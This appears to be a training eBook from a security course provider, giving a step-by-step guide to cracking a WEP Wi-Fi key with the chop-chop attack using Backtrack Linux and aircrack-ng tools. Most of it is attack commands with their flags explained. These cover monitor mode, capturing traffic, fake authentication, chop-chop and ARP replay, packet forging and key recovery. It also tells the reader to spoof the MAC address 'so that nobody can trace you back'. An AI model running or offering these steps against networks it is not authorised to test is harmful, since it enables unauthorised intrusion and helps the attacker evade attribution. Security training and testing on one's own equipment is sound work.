Seculabs eBook - Wi-Fi WEP Cracking Using Chopchop Attack

7/29/2019 Seculabs eBook - Wi-Fi WEP Cracking Using Chopchop Attack

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SECUGENIUS SECURITY SOLUTIONS

--------------------------------------------------------------------------------------

(A UNIT OF HARKSH TECHNOLOGIES PVT. LTD)

Company Profile:

Secugenius Security Solutions is a Student Entrepreneurial Company started by 2 Social Student

Entrepreneurs in 2010 with an aim to make our country Cyber Crime Free. We at SECUGENIUS

are headquartered at Ludhiana, the Manchester of Punjab. The main activities of Secugenius

Security Solutions are providing training in Information Security and various professional courses.

Secugenius Security Solutions is an organization which believes in inventing and implementing newideas to influence the technological minds of the youngsters

Looking at the number of Cyber Crimes since last many years, We at Secugenius Security

Solutions provides training on Ethical hacking & Cyber Security to students, IT Professionals, Bank

Employees, Police officials.

Secugenius conducts workshops in all parts of the country in various Colleges/institutions for the

benefit of the students & making them aware of the latest trends in technological era of the

Computer age. We believe in spreading knowledge to all the youngsters & growing minds of the

nation so that they could serve the nation with perfect skill-sets in the field of Cyber Crime

Investigation & Forensic Sciences

Secugenius provides various security solutions to its clients by securing their websites from cyber

attacks. We provide training to college students, graduates and professionals in various fields.

Education is delivered to students through two modes i.e. Regular mode and Distance mode which

are available as short term and long term courses.

In the workshops conducted by Secugenius, participants can claim to be trained by the highly

experienced & skilled corporate trainers from different parts of the nation. We believe in making

the base of students to be as strong as possible. All the modules have been designed in order to

provide students with specialized knowledge by specialized trainers.

This library was furnished, managed and funded by the Founders and Directors of Secugenius

Er. Harpreet Khattar & Er. Kshitij Adhlakha. The overall resource person for the content of

the series of this Digital Library is Er. Chetan Soni - Sr. Security Specialist, Secugenius Security

Solutions.

This Online Digital Library has been initiated as a free resource & permanent

resource on specialization basis for every student of Team Secugenius.



Wi-Fi WEP Cracking using Chop-Chop Method

Product ID No: SG/ODL/13028

Founder & Director: Harpreet Khattar & Kshitij Adhlakha

Resource Person: Chetan Soni & Loveleen Arora

Secugenius Security Solutions

SCO-13A, Model Town Extn, Near Krishna Mandir,

Ludhiana-141002, Punjab – India

[email protected], [email protected]

www.secugenius.com , www.seculabs.in

mailto:[email protected]





http://www.secugenius.com/

http://www.seculabs.in/




http://www.secugenius.com/





In previous WEP cracking method, we use to send the Deauthenticationpackets to the client’s connected to the victim’s AP (Access Point), then wecapture the reply packets and crack WEP.

But what if clients are not there…??? No packets are being captured…??? So

in that case Deauth does not work.

Solution to this is “CHOP-CHOP METHOD”

Requirements for CHOP-CHOP Method:-

MAC address of Your System BSSID ESSID

Channel ID Wireless Interface Windows 2000/Xp/Seven/Vista/8/Linux Distro Backtrack Linux Operating System (Live or ISO) VMware Workstation (If you use an ISO File) Wireless USB Adaptor (If you use VMware Workstation)

Our System Configuration Details:-

MAC Address = 00:11:22:33:44:55 BSSID = 80:1F:02:02:6C:C4 ESSID = Chetansoni Channel ID = 11 Wireless Interface = wlan0 Security = WEP (64-Bit Encryption)

First Start Backtrack Linux Operating system inside VMware Workstationnamed as BT-5-R3 Version.

Some Basic Commands which is very helpful when you use Backtrack. iwconfig

ifconfig

pwd

ls startx

Username – root and Password – toor (By Default in BT5)



Step 1 —

Start Terminal and type this command for checking your wireless device.

root@bt:~# iwconfig

Wlan0IEEE 802.11bgn ESSID:off/anyMode:Managed Access Point: Not Associated Tx-power=20 DbmRetry long limit:7 RTS thr:off Fragment thr:off Encryption Key:off Power Management:off



Step 2 –

Start the wireless interface in monitor mode by using this command,

root@bt:~# airmon-ng start wlan0



Step 3 –

Observe the wireless connections within range and copy the BSSID andchannel number of your victim’s AP (Access Point)

root@bt:~# airodump-ng mon0

Here’s Our Target =Chetansoni (Bssid – 80:1F:02:02:6C:C4 with Channel – 11)



Step 4 –

Further, we use airodump-ng with some options to view the details of thevictim’s AP.

root@bt:~# airodump-ng –c 11 –w Chetansoni --bssid80:1F:02:02:6C:C4 mon0

Where,

-c = Channel ID -w = Writing captured data --bssid = MAC Address of AP (Your Target)

mon0 = Monitor Mode



Step 5 –

Now Change your MAC address so that nobody can trace you back.

For doing that, first make your wireless device down and after changing MAC,make it up.

root@bt:~# ifconfig wlan0 down

root@bt:~# macchanger --mac 00:11:22:33:44:55 wlan0

root@bt:~# ifconfig wlan0 up



Step 6 –

Use aireplay-ng to do a fake authentication with the access point.

In order for an access point to accept a packet, the source MAC

address must already be associated. If the source MAC address you

are injecting is not associated then the AP ignores the packet and

sends out a “ Deauthentication ” packet. In this state, no new IVs are

created because the AP is ignoring all the injected packets.

The lack of association with the access point is the single

biggest reason why injection fails.

To associate with an access point, use fake authentication:

root@bt:~# aireplay-ng -1 0 -e Chetansoni -a 80:1F:02:02:6C:C4 -h00:11:22:33:44:55 mon0

Where,

-1 = Fake Authentication0 = Reassociation (In seconds)-e Chetansoni = Wireless network name-a 80:1F:02:02:6C:C4 = Access point MAC address-h 00:11:22:33:44:55 = our card MAC addressmon0 = wireless interface name



Step 7 –

Use aireplay-ng chopchop or ARP replay attack

root@bt:~# aireplay-ng -4 -h 00:11:22:33:44:55 -b

80:1F:02:02:6C:C4 mon0

-4 = Arp Replay attack of Aireplay-ng-h = MAC Address of your wireless Device-b = Bssid or MAC of AP



Step 8 –

Whenever you type ―y‖ in the last step, I’ll capture ARP replay packets andafter its completion, it will create a XOR file named as “replay_dec-1215-

134729.xor”



Step 9 –

Use packetforge-ng to make the XOR file usable for cracking intoaircrack-ng

root@bt:~# packetforge-ng -0 –a 80:1F:02:02:6C:C4 –k 255.255.255.255 –l 255.255.255.255 – y replay_dec-1215-134729.xor –w arp-request

Where,

-0 = It generates ARP packet-a 80:1F:02:02:6C:C4 = Access point MAC address

-k 255.255.255.255 = Dest. IP (most APs respond to 255.255.255.255)-l 255.255.255.255 = Source IP (most APs respond to 255.255.255.255)-y replay_dec-1215-134729.xor = to read the PRGA -w arp-request = Name of file to write the ARP packet



Step 10 –

Inject the ARP packet by using this following command:

root@bt:~# aireplay-ng -2 –h 80:1F:02:02:6C:C4 –r arp-request

mon0

Where,

-2 =Use interactive frame selection-h = Fake MAC-r arp-request = Defines the file name from which to read the Arp packetmon0 = Defines the monitor mode

Use this Packet – ― Y ‖



Step 11 –

Run aircrack-ng to obtain the WEP key

root@bt:~# aircrack-ng –n 64 –z –f 1 –e Chetansoni –b

80:1F:02:02:6C:C4 Chetansoni-01.cap

-n = Number of WEP bits key Applied e.g. 64,128,256 bit-e = Victim’s ESSID -b = Victim’s BSSID Cap = capture file which we mentioned in airodump command.

Seculabs eBook - Wi-Fi WEP Cracking Using Chopchop Attack

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